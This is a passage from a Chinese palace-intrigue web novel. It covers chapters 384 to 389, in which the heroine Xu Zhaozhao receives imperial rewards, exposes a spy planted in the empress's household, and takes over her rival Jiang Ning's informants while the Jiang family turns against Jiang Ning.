大总管一边说着,一边将一个托盘上面的红绸给掀开,的确是露出来一柄金灿灿的算盘,甚至于连那框子都是用了镀金。 啧,这可真是有种土豪金的感觉了。 “臣妇谢过陛下,还请大总管能代臣妇谢恩。” “呵呵,县主别急,陛下和皇后都还有旨意呢。” 除了一些实物的赏赐之外,永安帝还将许昭昭的食邑增至一千两百户,另外,再赏下来二十名护卫。 县主仪仗是有规制的。 许昭昭平时出行,很少使用。 她可以不用,但不能没有。 如今陛下又特意赏下来二十名护卫,这就能彰显出陛下对她的看重。 当然,最重要的是,皇后竟然会下旨赐下四名女官的官职,这可是绝无仅有的。 首先,许昭昭并非皇室县主,所以按律,她身边是不需要配备这些女官或者是女使的。 皇后如果直接派四名女官过来,难免不会被人猜测是要监控许昭昭。 所以,皇后直接就给许昭昭身边的人赐了官身,这可真地是独一份儿了! 第384章 许昭昭太聪明了 重要的不是那些财物,也不是陛下送的金算盘,而是皇后直接给许昭昭身边提了四个女官的名份,这可真是不知道要让多少人羡慕不已了。 正经的皇室县主身边是有女官跟着的,但是品级不会太高,这些都与主子本人的身份相关。 比如说,皇后身边的女官最多,而且权利最大,品级也是最高的。 其次便是王妃、公主,再往后便是郡王妃、郡主等,县主不能算是排到最后,也快要差不多了。 许昭昭自己并非皇裔,如今身边一下子多了四位女官,这就更加重了她这个县主的含金量。 食邑加到了一千两百户,就意味着又多了两百户人家来供养许昭昭这个县主。 好事呀! 说白了,就是等于许昭昭又多了两百户的仆从。 四个女官的职位,现在还不曾落实,要许昭昭选定四人后,再上报至皇后身边的尚功局,由皇后许可,再由尚宫大人印章,之后下发相关的文碟。 啧,所以说,许昭昭不仅自己能捞个县主做,而且跟随她的仆从,也都能捞个官职来当当,而且是有正经俸禄的。 这得让多少人都后悔当初没有被县主选中做仆从呀! 整个护国公府都震惊了。 毕竟像许昭昭这样的外姓县主,能有食邑就够吓人的了,现在竟然身边还多出四名女官来。 啧,这以后许昭昭在国公府横着走都没问题。 此时的于氏拍拍胸脯庆幸道:“得亏了是昭昭呀!这孩子性子好,嫁过来之后,从不摆架子。若是换个沉不住气,行事张狂的,恐怕现在就能掀桌子了。” 小林氏此时也是满心后怕。 谁能想到这个侄媳妇这么厉害呀! 多了皇帝亲自赐下来的二十名护卫,而且还多出来四名女官,啧,真吓人! 皇帝安排过来的护卫,自然不可能只是如同寻常人家的家丁一般,这二十名护卫都是吃朝廷俸禄的,而且这一身的穿戴,竟是与御林军无异! 这是连护国公本人都没有的待遇呀。 谢啸林酸不酸,没人知道。 但是老夫人是真的有些酸了,她活了大半辈子,都没能享受过这等待遇呀,这是何等的荣宠? 许昭昭不是宫中妃嫔,但是这受宠的程度,堪比姜贵妃了。 姜贵妃再受宠,但是她只能一个被困于宫中的妇人,没有食邑,没有封地。 可许昭昭不一样呀! 她现在这待遇,估计安信侯知道了都得冒酸水儿。 小林氏有些嫉妒,还有几分不服气。 “母亲,你说这许昭昭是走了什么狗屎运?封个县主也就算了,竟然连她身边的下人都能封官?这是不是也太过儿戏了?咱们大兴历来可没有这个规矩,曲皇后就不怕被御史弹劾?” 于氏没等老夫人说话,先怼她一句:“你刚刚那耳朵是摆设吗?那是因为陛下先赏了许昭昭,所以皇后才会跟着赏的。而且皇上赏护卫,皇后赏女官,这分明就是商量好的,皇后有什么好担心的?” 言外之意,曲皇后赏赐四名女官的身份,估计也是得到了陛下首肯,不然,不会这么巧。 老夫人此时也回过神来:“孙媳妇是个有大造化的呀!听着大总管的意思,陛下分明就是拿许昭昭当一个小辈来疼爱的。如果我没记错,陛下当年也时常管咱们家三郎唤作小崽子,还时常以三郎的长辈自居。” 说到这里,于氏和小林氏都跟着沉默了。 谢啸林、许翰都是当年跟在陛下身边的伴读,那个时候,陛下还只是一个再普通不过的皇子,上面有嫡兄,下面有幼弟,怎么都显不着他的。 过去这么多年,陛下已然是大兴地位最为稳固的主宰者,而他当年身边的那些文武伴读,如今也都是各有不同的前程。 比如说许翰,这么多年,如果他想,兵部侍郎这职位,绝对没跑,就算是兵部尚书,他也能当当。 可他偏不,除了大将军的职位,其它官职一概不要。 反正闲下来的时候就是躲懒,一旦有仗要打,他第一个冲出来支持陛下,可以说是陛下让他往哪儿打,他就往哪儿打;让他把谁打残,那就是眉头都不带皱一下的,自己死也得把对方打残! 就冲着这份忠心,陛下就不可能会疏远了安信侯府。 再说谢啸林,他如今是护国公了。 这么多年,一直在冀州镇守,如今重返京都,陛下甚至是直接把他叫进宫里,问他想干啥,几个职位摆出来就差让他挑了。 可谢啸林也是一句身上旧伤旧疾频发,只想着好好休养,同样是除了一个大将军的职位,啥官也不肯当,为这个,听说陛下还气得摔了一只茶杯。 气也没用,反正就是不当。 刚开始的时候,小林氏还觉得大伯哥傻,就算是你自己不当,你也可以提携一下自己的兄弟们呢。 可是现在,她们好像是明白了。 “许侯是在为膝下的三个儿子铺路,所以他甘愿只当个闲着的大将军。咱们家的老大也是一样,为了给三郎铺路,他宁愿早退下来几年,不能阻碍了三郎的前程。” 老夫人也是直到现在才看明白。 有些事,是她们想的太过肤浅了。 三人沉默了好一会儿,老夫人突然就笑了起来。 于氏和小林氏不解,但也不敢问。 “我以前只以为是许昭昭风头太盛,不妥。毕竟她年纪小,而且又是京中出了名的点金手。可是如今,我才总算明白了。许昭昭太聪明了,她是既低调,又让人无法忽视她头顶上的光环。可笑我活了几十年,竟还不及一个小丫头看得透彻呀!” 于氏和小林氏仍然一头雾水,而老夫人显然也没有跟她们解惑的打算。 有些人,天生就是赢家,脑子总能快手一步。 而有些人,注定了就是给人当炮灰的命,脑子总会落后一步,甚至是到死都不明白差在哪儿了。 老夫人也是现在才看清楚,当初老四媳妇不管不顾得去招惹许昭昭,是一件多蠢的事。 如果许昭昭真要计较,一个小林氏都不够人家玩儿的! 老夫人是又高兴又沮丧,一个聪明得跟神仙一样的孙媳妇,再加上一个蠢而不自知的儿媳妇,啧,也不知道还能不能教好呀! 第385章 挑拨 皇帝陛下赏赐的金算盘,那定然是不能随便乱放的,许昭昭命人将东西收起来,小心保管。 四名女官的职位,倒是让许昭昭犯了难。 皇后赏赐的四名女官职位都不算高。 两个六品,两个七品。 自己的两位陪嫁嬷嬷,必然是要照顾到的,这个体面,得给她们。 除此之外,丁香已经出嫁了,所以不合适,毕竟皇后赏赐下来的是自己身边服侍的人才能有的官职。 那就只剩芍药和紫苏了。 海棠来的时间太短,不合适。 但是紫苏原本就是护卫,而且平时很少服侍她的衣食起居。 许昭昭想到了宋青,也就是府里上下都称呼一声的青姑姑。 但是宋青面有瑕,按规矩,是不可以任女官官职的。 所以,许昭昭也就没有什么好纠结的了,只剩下这几个了。 至于林嬷嬷,她倒是想要讨一份好处,但她也有自知之明,世子夫人身边人都不够分呢,又怎么可能会愿意给她? 许昭昭相信皇后愿意赏赐她一回,那么就一定还会再有第二回。 毕竟,她只是一介内眷,她得到再多的赏赐,也不会让自己手握重权,所以皇帝定然是十分放心的。 四个名额都安排完,许昭昭便提前递了贴子进宫。 虽说她有玉佩,可以直接进宫,但这次是为了谢恩,总要给足皇后尊重。 皇后是真喜欢许昭昭,主要是许昭昭这人活得通透,而且什么事情能干,什么事情不能沾手,她心里头门儿清。 “安乐,我看你神思不属,可是有什么事?” 许昭昭借机行礼道:“回皇后,臣妇的确是有件事情想要禀报,但是,又实在不知当如何开口,这才有些犹豫。” 曲皇后何等精明之人,自然就将人遣退,只余身边的两个心腹在。 “现在可想好了?” 许昭昭笑道:“回禀皇后,臣妇想到一件事,但是臣妇愚钝,一直未能勘破其内里,今日也是见到了那位熟悉的女官,这才再度想起来。” 女官? 皇后脸色严肃下来,这是在暗指自己宫里有别人的眼线? “安乐,你直说便是。” “是,刚刚站在臣妇对面位置的女官,臣妇瞧着有几分眼熟,仔细想过之后,才记起来,臣妇曾在宫外见过她,当时与其一起进了茶室的,还有安王府的一位女眷。臣妇眼拙,未能识得那位夫人是哪位,不过听到下面人称呼她一声周孺人。 当时臣妇并未在意,只是后来听到屋内传来争执声,再后来,有一丫环急匆匆跑过去禀事,周孺人和那位女官便匆匆离去,约莫半盏茶的功夫,臣妇便看到了安王妃的车驾停驻在茶楼前,但安王妃未曾下马车,而是差人进茶楼,买了几样茶点离开。” 许昭昭说的,看似就是一件再简单不过的闲事。 不就是几个女子一起相聚饮茶嘛。 可实际上,看似没有半分重点,更不曾提及私事,但是实际上,却已经透露了太多。 周孺人在皇后宫中安插了眼线,而且周孺人极有可能是别人安插在安王身边的钉子! 这个认知,迅速在曲皇后的脑子里形成。 “安乐县主有心了,此事本宫会让人去详查,只是安乐可还记得那茶楼的名字?” “记得,因为有一阵子,臣妇觉得店家有两味茶点做得好,所以时常过去,后来还是家中仆妇买回去,又潜心钻研许久,才做出相似的茶点。” 许昭昭将茶楼名字报上的同时,又特意说明了自己为何会出现在那处茶楼,以此,也避免皇后对她的猜疑。 许昭昭离开之后,曲皇后不再隐忍,即刻命人将女官拿下审问。 皇后手里头掌管着整个后宫,六局二十四司,难免会有疏漏之处。 这么多年,姜贵妃再怎么得宠,权势最盛时,也不过就是协理后宫,而非主理后宫。 直到前两年姜家频频出事,尤其是姜延辉事败后,姜贵妃被罢黜协理后宫的权利,自那之后,便一直不曾恢复。 甚至,姜贵妃还曾被贬为妃,一个贵妃,一个妃,一字之差,这身份地位可以说是差之巨大。 但是陛下对她的宠爱仍在,没过多久,便又恢复其贵妃的荣耀,但是涉及后宫权利一事,永安帝再未提及一次。 皇帝不提,姜贵妃自然是不敢主动请缨的。 这两年,姜贵妃一直小心服侍陛下,就是知道自己年纪越来越大,容颜不再时,也不知陛下是否会另有新欢。 宫中美女如云,姜贵妃从来就不屑于使用一些下三滥的招数去对付这些人。 因为她自诩是陛下心尖上的人,是曾让陛下有意娶为正妻的那一个特殊的存在。 造化弄人,她没能当得了正妻,如今也只能是做一个贵妃。 所以,姜贵妃从来不会主动去参与进那些争斗之中,而且就算是有其它的女人勾引陛下,每个月侍寝最多的也还是她就足以证明她受宠的程度。 只是近来,陛下明显是被那位姓徐的给迷了心智,不仅短时间内频频提其位分,更是大有与自己分庭抗礼的意思,姜贵妃如何能忍? 都不需要姜贵妃亲自出手,略施小计,徐昭仪就被永安帝给罚了,而且是要抄写宫规,且禁足三月。 姜贵妃很满意。 因为徐昭仪被罚至今已有十余日,但是徐昭仪那里一直很安分,未曾作妖,更不曾想其它办法将陛下引过去。 这样就很好。 姜贵妃觉得徐昭仪是聪明人,那就不应该与自己为敌。 姜贵妃今日召见了赵月,主要就是问问姜宁的近况。 好巧不巧地,赵月离开时,正好看到一名被打得面目全非的宫女被两名内侍拖着往外走,这一幕,血淋淋的,着实将赵月吓得不轻。 赵月未能认出那名宫女的身份,一路更是走得胆战心惊,将要出宫时,又觉得不妥,遂以自己掉了东西为由,再次折返至姜贵妃处。 赵月前脚被人请进去,这个消息后脚就被送到了曲皇后宫中。 “去而复返?呵,命人暗中跟着,不得打草惊蛇。” 第386章 家族不宁呀! 背叛皇后的那名女官早已被杖毙,当然,在此之前,受了不少的刑罚,最终交待出来,是安王府的周孺人与其有故交,所以偶尔有机会便私下见面。 也因此,她曾先后有三次将皇后的一些动向透露给周孺人。 至于周孺人打听这些,女官也只以为是安王想要讨好母后,所以才会故意侧面打听,从未想过,周孺人与安王根本就不是一条心。 安王和安王妃于午后被曲皇后宣入宫中说话。 当天傍晚,安王府中的周孺人便被禁足了,对外只说是感染了风寒,怕再传染给别人,所以暂时将院子给封了。 实际上,周孺人被扒去华服,此时正被绑在了柱子上,安王一手执鞭,一手在慢悠悠地把玩着一个玉质摆件儿。 “这东西本王瞧着眼生,何处来的?” 周孺人被这番变故给吓怕了。 她原本就只是一个富商之女,能被抬入安王府中,除了因为其家中财富无数之外,还因为她有一位入朝为官的舅舅。 虽然只是一个小官,但好歹也是官。 安王将她抬进来,就等于是同时收服了一个小官,还有可以强大的财力支撑。 可谁能想到,周孺人自己不中用呀。 竟然早就被姜宁在暗中收买,一直在为姜宁做事。 姜宁也是依托于自己上辈子的记忆,知道周家的财富对于安王有多重要,所以才会主动接近周孺人,然后再想办法化为己用。 没想到,只是许昭昭轻飘飘的几句话,便将她先前所有的努力都付诸流水了。 许昭昭当然不可能真地是亲自去那家茶楼看到了这些,但是她的的确确是知道了这件事,因为她有着别人无论如何都猜不到的情报网。 曲皇后在查实这一切之后,对忠王府以及姜家,便更为忌惮了。 姜太傅是前朝重臣,曲皇后身份再尊贵,也不可涉政。 但是,不代表了她就没有其它办法来整治姜家了。 比如说,她的兄长如今可是吏部尚书。 整治不了姜太傅,还整治不了其它的姜家人吗? 就这样,原本有望调回京中叙职的一位三十出头的姜家人,姜延平的堂弟,没等来调他入京的命令,反而是迎来了一纸远赴南疆的调令。 而且还是平调。 这朝中官员在何处为官,任何等官职,都是有讲究的。 看似是平调,但是越调,离京城越远,而且所赴任之地越穷,就说明你是被贬了,不得圣宠。 姜太傅的手还插不进吏部。 等到姜太傅得知这个消息的时候,他的侄子早已经去赴任的路上,一切都已无力更改。 姜太傅是聪明人,一番调查之后,自然便知道了这是曲尚书的意思,姜太傅百思不得其解,自己与曲世绩可以说是向来井水不犯河水,甚至于几年前,他们还都在默认是同盟。 所以这一切到底是怎么了? 姜太傅亲自请曲世绩喝茶,曲世绩当然要给这个面子的。 “姜大人呀,不是我故意为难你们姜家。实在是你们姜家先动手欺负人,我也是没办法呀。” 曲世绩先是大倒苦水,说这一切都是宫中娘娘大发雷霆,甚至还痛斥了安王,惩罚了安王妃。 姜太傅被这一番话给说得云山雾绕的。 所以说这一切跟自己有什么关系? 皇后动怒,为何要拿他们姜家的人开刀? 曲世绩叹气。 “姜大人,您是长辈,我做为小辈,还是要劝您一句,子孙不肖,家族不宁呀!” 姜太傅脸色微变:“贤侄,这是何意啊?老夫年纪大了,的确是有照看不周之处,若是我姜家小辈得罪了皇后或者是贤侄,老夫定会还你们一个公道。” 曲世绩只是摇头苦笑,片刻后,这才小声道:“历来储君立嫡为先,中宫皇后共育有三子,且都品行尚佳,不符身份的事,还是莫要插手为好呀。” 储君? 姜太傅的脑子里快速闪现出姜宁的模样,他好像知道到底是谁闯下大祸了。 曲世绩已经暗示得很明显了。 姜太傅回去后,即刻动用宫中的人脉去查,他没敢告诉女儿,总不能事事都让女儿来操心。 姜延辉的脸色不太好。 他现在虽然是没有实职,但是姜家的一些人脉,尤其是一些埋得紧要的,都是他在布控。 “父亲,查清楚了。有人在曲皇后的宫中安插眼线,并且几次向宫外的人透露她的一些事,曲皇后大怒,最后查到了安王府内,宫中的女官被杖毙。” “安王府?” “正是,我的人查到,那名女官被杖毙的当天,安王府的一名周孺人就得了急症,整个院子被封锁,就在两天前,这名周孺人暴毙。” 姜延平听不明白了。 “既然是安王府的人,那曲家又何必针对我们姜家?” 姜太傅倒是不急,慢悠悠地看向二儿子:“还查到了什么?” 姜延辉有些无力,眼中还有几分的不满。 “周孺人曾与姜宁身边的丫环来往过密,而且姜宁还曾将她其中的一件陪嫁玉莲花的摆件送给了周孺人。东西被安王查出来之后,直接送至宫中。听闻曲皇后特意将这件玉莲花摆件赏赐给了忠王的生母刘妃。刘妃不知其意,还将其视为珍宝,爱不释手。” 姜延平顿时就倒吸一口凉气。 这是什么诡异操作? “不对,说具体些,安王送玉莲花进宫之事,当时陛下是否在场?” 姜延辉面露绝望,闭眼点头。 “当时陛下也在,安王的说法,是他的一个妾室为了争宠送到他跟前的,但是他觉得这玉莲花造型优美,做工精细,而且雕花摆件,觉得还是女眷用更为合适,所以便入宫进献给皇后,也算是他的一份儿孝心。” 将这玉莲花的来历都过了明路,就算是姜家还想要再使些暗绊子,也没了机会。 姜太傅一时间心绪不稳,心口处宛若是被一只大手紧紧攥住,连呼吸一下都觉得疼痛无比,整个身体更是动弹不得。 兄弟二人察觉到父亲的异状,连忙上前:“父亲?” 姜延辉看到他唇色发紫,立马对着屋外喊道:“快去请太医!” 第387章 当初就该把姜宁吊死 姜太傅再次病倒,而且这一次的病情来势汹汹,整个姜府,折腾了一夜后,姜太傅才悠悠醒来。 这等时候,姜家也无人再去想着上朝以及上学之事,都各自告了假,守在屋里屋外。 姜太傅总算是醒过来了,只是脸色苍白,嘴唇仍然是紫得吓人。 “把姜宁这个逆女叫回来!” 谁也没想到,姜太傅开口的第一句话,竟然是这个。 姜延平明白,他能想到的事,父亲应该也是早就有所怀疑了。 如今查实,姜家人的前途受阻,竟的确是与姜宁有关,自然是不可能轻轻放下。 “父亲安心,您昨夜病倒,今日一早,儿子便派人去忠王府报信了,刚刚下人传来消息,姜宁已经在院外候着了。” 姜宁以前是姜太傅宠爱的孙女,所以在姜太傅这里是有些特权的,时常随意出入姜太傅的院子,且这里的下人也对其极为尊重。 但是现在早已不同往日。 如今的姜宁,先不说外嫁女的身份,就说她给姜家丢了那么多次的脸,姜家就不可能再给她往日的荣光。 所以,现在的姜宁,只能是在院外等候,连进来在院子里磕头的机会都没有。 宋氏大概也能猜到公爹的意思,劝道:“父亲,您的身体要紧,太医说了,您如今不适宜情绪起伏太大。” 这话,也是在提醒姜延平和姜延辉,别只想着听父亲的话,还是要以老爷子的身体最为重要。 姜延辉领会到这一层,立马劝道:“父亲,您有什么话,尽管吩咐,儿子定然给您办得妥妥当当。您可是咱们姜家的主心骨,您想想宫里头的贵妃娘娘,还是先稳一稳,一切都不及您身体的健康要紧。” 这话老爷子听进去了。 宫中姜贵妃一直未能生下龙子,只有一公主相伴左右,这一直都是姜太傅所担忧的。 不过,没有儿子,倒是省得卷入这夺位的旋涡之中了。 而且正因为姜贵妃一直无子,所以,永安帝才会对她格外宠爱,就是因为放心呀! 有利有弊,谁也不能将所有的好事都揽到自己身上。 姜太傅心里明白,正是因为贵妃无子,所以这么多年,陛下才会愿意重用姜家,姜家的小辈们是提拔了一个又一个,尤其是姜延辉犯下那样的大错,陛下都没要他的命。 这就是因为姜家用着放心呀。 当初姜延平所图甚大,将私生女给塞入宫中,妄图给陛下生下一儿半女,之后再过到姜贵妃名下。 此招虽险,但若是成了,姜家定然是得益颇多。 可现实是,那个孩子没了。 甚至于姜延辉的那个私生女都悄无声息地死在了宫里。 由此可见,宫中没有刀光剑影,但是杀人的招数,却是比这些更为狠辣阴险。 姜太傅深吸一口气,由姜延平慢慢地扶起来,再由姜延辉小心地给喂过药后,姜太傅这心绪才逐渐平稳下来。 皇后有三子,无论如何,这太子之位都是落不到忠王头上的。 先前也是他被忠王和姜宁画的大饼给迷了眼,所以才会在暗中给予了几分支持。 毕竟皇子们斗得欢实,姜家人也是能从中得利的。 可是经此一事之后,姜太傅不敢赌了。 实在是姜宁的胆子太大了! 竟然敢在皇后宫中安插眼线,这是不要命了吗? 皇后何等尊贵,无论她是否得宠,她都是皇帝的发妻,更是三位嫡皇子的生母,是真正的母仪天下。 而姜宁的所做所为,一旦被曲皇后摆到桌面上来,别的他不敢说,但是姜宁的命,是一定保不下来的。 但是曲皇后没有这么做,而是授意自己的兄长给姜家人的仕途上使绊子,这是因为皇后仁慈吗? 当然不是! 如果让姜太傅来选,他宁愿让姜宁去死,也不愿意自己的堂侄就这么被放逐到了南疆为官。 吏部调令已下,至少三年内,这个侄子的位置是别想动了。 三年呀! 如果是调至京中为官,能为姜家谋取多少好处,发展多少人脉? 姜太傅简直都不敢想了。 越想越心痛。 区区一个姜宁的性命,如何比得上姜家全族的前程? 这一刻,姜太傅甚至痛恨自己,早在姜宁与忠王事情曝露之后,就该直接把姜宁吊死,对外宣称病亡的。 他还是太心软了。 当年,就不该让姜宁嫁去忠王府! 姜太傅后悔,却也知道早已无用。 “老二,你去安排,姜宁名下的那些产业,尽数安排上姜家的人,尽快想办法将这些产业收回。” 姜延平一怔,这是何意? 姜延辉现在什么也顾不上了,只要父亲能心顺平安,怎么着都成。 “是,父亲。儿子会安排,您消消气,先好好调养身体。” 姜太傅这边刚刚躺好,姜延平和姜延辉二人相视一眼,随后让邓氏和宋氏在屋里守着,他们则是挪到屋外说话。 院内,是姜家的小辈们,见他们二人出来,立马停止交谈,只想着先一步听到关于祖父的消息。 “你们都回去吧,老太爷如今无碍了,但是需要静养,无事莫要来打扰他老人家。” “是。” 所有人悉数退下,但仍有一蓝色身影未动,甚至还上前几步。 姜延平看了一眼,皱眉:“三郎,何事?” 姜文祥未停下脚步,反而快步上前,行礼道:“刚刚得到消息,淮阳公主已经从宫中出发,孩儿估摸着,这个时辰,公主仪驾也该到前街了。刚刚人多,孩儿未敢声张,主要是怕再扰了祖父清静。” 姜延辉不解:“公主驾临,合该全府出迎才是。” “公主派人过来传话了,说是不想惊动太多人,而且公主还带了信出来的。” 姜延辉这回明白了。 公主来探望外祖父,这没毛病。 但是公主往外祖父家带信,此事不宜声张。 “走,咱们先去府门外候着,三郎,你命人叫所有的嫡子女都出来迎接公主殿下。” 姜文祥未动,小声道:“姜宁还在外面候着呢,孩儿不知该如何安排,要不,先将她请去别处休息?” 第388章 混水摸鱼 淮阳公主就是姜贵妃的独女,李月蓉,因其封地为陈州,也就是淮阳郡,故又称为淮阳公主。 永安帝宠爱姜贵妃,自然对这个女儿也是格外宠爱,不到三岁的时候,便有了封地,而且后宫十几个公主,唯有这个淮阳公主敢跑去太极殿内玩耍,更是只有她才在幼时爱赖在陛下的怀里,就被陛下抱着坐在龙椅上听政。 这样的公主,谁敢说她不受宠?谁敢得罪她? 淮阳公主被一位宫女扶着,慢悠悠地下了车驾。 姜延平等人自然是全都行礼问安。 “两位舅舅免礼,母妃听说外祖父病倒了,不放心,所以便差我过来探望。” “有劳贵妃惦记了。公主里面请。” 淮阳点点头,这才道:“你们也都免礼吧。” 姜文祥等人这才都站直身体,然后有序地列至两侧。 淮阳公主年纪还小,所以等走出去一段路,人少些了,姜延辉才小声道:“贵妃娘娘可有什么旨意?” 淮阳公主看向他:“母妃说外祖父的身体最重要,不管是何人惹得外祖父生气了,都要先顾着外祖父的身体康健。另外,母妃说二位舅舅不易,姜家经不起自家人的拖累了。” 最后一句,这是在点姜延平呢。 毕竟姜宁是他的女儿。 淮阳公主不懂这些,她只是原话复述一遍而已。 待进入屋内,姜延平将两位内眷都请至外间,内间只淮阳公主一人陪着姜太傅,其它人都在外面候着。 “月蓉来了!” 淮阳公主面带关切,大眼睛忽闪忽闪的:“外祖父,看您的脸色虽然不佳,但是比大舅舅说的要好一些了。母妃可是说了,一定要您好好吃药,好好调养身体。您若是不听话,到时候母妃就请旨自己出宫来服侍您。” 这话看似是在撒娇抱怨,实则却是在哄着姜太傅。 毕竟淮阳身份尊贵,姜贵妃亲自回来服侍,那更显得做女儿的孝顺,同时也能彰显出姜太傅的重要性。 “好好好,我一定好好休养,你回去禀明你母妃,让她不要记挂我,我会好好吃药,一切都听太医的。” “嗯,我出宫时,正好父皇还在朝议,估计这会儿也知道您病重的消息了。” “唉,是我这把老骨头不中用,害得陛下和贵妃担忧。” “外祖父,那我就先回宫了,母妃说我不是小孩子了,不许我总在外面玩。” 淮阳公主说话的功夫,一封信就悄悄地划进锦被,然后塞到了姜太傅手里。 姜太傅的手微微一顿,面色坦然道:“好,我们月蓉也是大姑娘了,的确是不宜总在外面,让你几位表兄送你回去。” “好,谢谢外祖父。” 淮阳公主被姜文祥带着一位兄弟,再加上几十名姜府护院,一路护送公主回宫。 姜太傅被姜延平扶着慢悠悠坐起,又喝了两口水,这才打开信。 姜太傅看罢,深吸一口气,总算是不曾动怒。 姜延平和姜延辉兄弟二人也都轮番看过之后,便十分有默契地将信烧了。 若是寻常家书,自然不必如此谨慎。 姜贵妃虽然现在不掌权,但她有圣宠,自然也是有手段的。 所以,姜太傅查到的事情,她也查到了。 自然也知道这一次姜宁又给姜家惹祸了。 原本姜宁是姜贵妃最为疼爱的一个侄女,但是这个姜宁自己不争气,三番五次地被人捉住把柄。 这一次,姜贵妃也不再护着她。 当然,姜贵妃倒没说非得要姜宁的命,但是至少,姜家不可以再为她提供支持了。 姜宁应该清醒清醒了。 对此,姜家的几位主事人都没有意见。 尤其是姜太傅,早先一步就开始做了安排。 现在有了贵妃的授意,那他们做事就更有底气了。 姜宁没能如愿进来探望祖父,后来还是被邓氏给叫走了。 自打一双儿女没了之后,邓氏整个人的气血都大不如前。 不仅一下子老了许多,整个人的眼睛里都变得死气沉沉的,再没有了半分往日的傲气。 “回去吧,以后没事也不要再回来了。” “母亲,祖父病重,而且父亲和叔父也都请假不朝,这可是大事,我身为姜家女儿,怎能不闻不问?” 邓氏面无表情道:“但你已经是他人妇了。以后过好你自己的日子就成,你也是当娘的人了,以后做事时三思,想想你的女儿,会不会因为你的举动而受到牵累。” 姜宁瞪眼:“母亲此言何意?” 邓氏却不愿意再理会她,摆摆手:“回去吧,你现在走,还能有几分体面,若是等你父亲腾出手来,只怕会让你颜面扫地。” 姜宁气不过,但是看到母亲身边的嬷嬷也连连对她摇头,便知道事情只怕是不利于她,只得作罢。 姜宁就这样又悄无声息地离开了姜府。 而她不知道的是,这一次离开姜家,再进入忠王府之后,她的所有消息将会更滞后,而她辛苦布下的诸多明暗线,都将会受到毁灭性的打击。 姜家要收回姜宁手上产业的事,许昭昭通过自己的眼线也都知道了。 姜家给姜宁的嫁妆,自然不可能就明着收回来,但是他们可以派人去接管,从管事到账房,全部都换成了姜家人。 相应的收益,姜家不会贪,该给姜宁的给姜宁。 但是其它的,比如说消息、人脉等等,姜宁就不要想了。 这等于是看似给足了姜宁体面,但是实际上,却是完全将姜宁在外面的产业和眼线都接管了。 而许昭昭要做的,就是借着这次机会,混水摸鱼。 姜家毕竟是考虑到姜宁还是姓姜的,所以做事不可能太绝。 但是许昭昭可以呀! 她和姜宁可是仇人,不死不休的仇人! 所以,有机会来打击姜宁,她只会恨自己下手慢、下手轻,绝对不可能有机会心软。 而姜宁因为被忠王训斥后,再被忠王妃禁足,所以,正好完美地避开了获取这些消息的最佳时机。 外面的人,一直没有得到主子的指示,那自然就会心生不安。 底下做事的人,最害怕的不是没做好差事,而是突然联系不上主子了,这叫什么事? 第389章 我媳妇儿都吓病了 许昭昭这边则是乘胜追击,没费多大的事,就把姜宁这边的暗线给收拢了个干干净净。 许昭昭看到许柱子送上来的这些消息时,还真有几分难以置信! “这个姜宁可以呀!竟然连顾尚书的家里都有她的眼线,不得了哦,啧啧,这件事若是捅到顾尚书那里才有意思哦。对了,还有信宁侯府,呵呵,这么大的一个人情,还是送给父亲吧。” 许昭昭提笔写封信,之后就让许柱子去一趟安信侯府,接下来,她只需要静静地等着就好了。 这才多久,姜宁竟然还能在信宁侯和顾府这样的高官家中安插眼线,她是真不想活了呀! 要说其它人没有这种手段吗? 怎么可能? 大家都有这种手段,甚至也会用。 但是人家不可能让对方查到自己头上呀! 姜宁是真猛呀。 这种事,你竟然还做得不干净,让人查出来了? 啧,真是个人材! 就姜宁和安王府周孺人这里有接触来看,就能知道这是一个多么没脑子的女人。 换句话说,许昭昭经由许柱子去安插一些眼线,但是不代表了许柱子就会直接跟那些人接触。 就算是直接接触了,许柱子也一定会找到一个十分合理又合情的理由。 打个比方说,某个国公府的下人与许柱子亲娘的舅舅家是怎么个亲戚或者是老乡,这不就能连上了吗? 就算是该国公府的主子发现了他们私下有联系又能怎么样呢? 人家是亲戚或者是老乡,就因为各自的差事,所以两家都不来往了? 这不合理呀! 更重要的是,当初许昭昭让许柱子去安挺这些眼线的时候,就只是安插在一些不怎么起眼的位置上。 比如说打理花草的、厨房烧火的等等。 许昭昭自己也是侯府千金出身,她可太懂这些了。 真正能到主子跟前伺候的,那必然都是家生子,或者是主人层层挑选出来的,又怎么会轻易地信用外来仆役? 再说了,打听消息,也没说非得就在主子或者是小主子的身边儿安插呀。 那不是聪明,那是妥妥的找死! 不要以为高门大院里关的都是不事生产也不通世事的傻子,这些人的心眼儿真要动起来,十个仆役都不是个儿! 下了早朝,许翰使个眼色,就把顾东阳给叫到一边儿去了。 “咋了?有事?” 顾东阳和许翰也算是熟悉,毕竟是打过几次交道的。 但是许翰这人吧,太懒,不是天天上早朝的。 甚至经常找各种理由不上早朝的。 一个月下来,他能出席三分之一的朝会,都算是勤快的了。 不是没有御史弹劾过许翰,但是有陛下护着,而且人家也的的确确是走流程请假了,你还能咋滴? “不对呀,你今天怎么上朝了?按说你这个月上的早朝次数不少了,这不符合你的性子呀?” 许翰送他一记白眼儿:“会不会说话?你个老小子,我就不该叫住你,干脆让你直接被人偷家得了!” 偷家? 顾东阳不淡定了,啥意思? 自己婆娘红杏出墙了? 不能吧! 毕竟夫人年纪也不小了,而且夫人一直都立身正,怎么可能是那种人? 难不成是哪个小妾还是儿媳妇? “你把话说清楚了,咋就偷家了?到底怎么回事?” 许翰抬手挡他一下,然后顺手一扒拉,人就往后退了一步。 顾东阳正想着跟他再争辩几句,为自己找个说法呢,就见他抬手冲着前方挥手,还故意压着嗓子喊:“老崔,这儿呢!” 信宁侯崔玄正,现在的兵部侍郎,两手揣在袖子里,一步三晃地过来了。 “怎么了?” “咱们往那边走走。” 许翰拉着两人往外又走了差不多十来步,总算是觉得安心了。 “我说许木头,你到底有啥事儿呀?这整得咱们好像是做啥见不得人的事似的,怪吓人的!” 许翰脖子一梗,脸一沉:“叫谁许木头呢?这也是你能叫的?” 崔玄正也不跟他计较,满脸不在乎道:“行行行,我不能叫,只有陛下才能这么叫你行了吧?快说,到底什么事儿,你倒是回家就能睡大觉了,我不行,衙门里头还一堆事儿呢。” 许翰清了一下嗓子:“咳咳,这个,你们自己看吧。我先声明一下子啊,我就是听说姜家对姜宁的产业动手了,所以才想着混水摸鱼一下子,和我媳妇商量着看能不能收拢些产业啥的,结果谁能想到,还遇上这种事了。” 许翰把事情揽在了自己和王若兰身上,主要也是为了先交个底,省得这两人再以为他另有阴谋。 “我看看。” 